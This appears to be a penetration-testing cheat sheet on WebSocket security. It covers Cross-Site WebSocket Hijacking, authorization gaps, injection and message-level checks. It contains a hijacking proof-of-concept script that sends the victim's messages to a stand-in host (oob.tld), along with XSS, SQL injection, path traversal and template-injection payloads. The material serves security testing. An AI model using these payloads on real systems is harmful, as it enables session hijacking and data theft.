caon.io

WebSockets

The handshake is HTTP, so it is subject to the usual origin rules. Everything after the handshake usually skips the authorization the REST API has.

Handshake

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Origin: https://example.com

Burp: Proxy > WebSockets history, and Repeater handles WS messages directly.

Cross-Site WebSocket Hijacking

The one to look for. If the handshake authenticates on cookies alone and does not validate Origin, any site can open the socket as the victim.

  1. Does the handshake carry only a cookie — no token in the URL or first message?
  2. Change Origin: to https://evil.tld. Still 101?
  3. Then it is CSWSH.
<script>
  var ws = new WebSocket('wss://example.com/chat');
  ws.onopen  = () => ws.send('{"action":"history"}');
  ws.onmessage = e => fetch('https://oob.tld/?d=' + btoa(e.data));
</script>

Impact is read and write — you can send messages as the victim, not just read them.

Authorization drift

The REST API checks ownership. The socket often does not.

{"action":"subscribe","channel":"user.1337"}
{"action":"getMessages","conversationId":"any-uuid"}
{"action":"updateProfile","userId":1,"role":"admin"}

Try every IDOR trick inside the message body.

Injection

Messages land in a database, a template, a log viewer or another user’s DOM. All the usual classes apply, and WAFs almost never inspect WS frames.

{"msg":"<img src=x onerror=alert(document.domain)>"}
{"msg":"' OR 1=1--"}
{"room":"../../admin"}
{"user":"{{7*7}}"}

Message-level checks

  • Replay a privileged message from another session
  • Send a message the UI only allows after a state change (pay before adding to cart)
  • Drop required fields, send nulls, send arrays
  • Send a second auth frame with someone else’s token

Socket.IO and SockJS

They fall back to HTTP long-polling, which re-exposes everything over normal requests:

GET /socket.io/?EIO=4&transport=polling
GET /sockjs/info

The polling transport is often less protected than the socket.

Tools

URL Description
https://github.com/PortSwigger/websocket-turbo-intruder Fuzz WS messages
https://github.com/skepticfx/wshook Hook client-side WS

Articles

↑↓ navigate↵ openesc close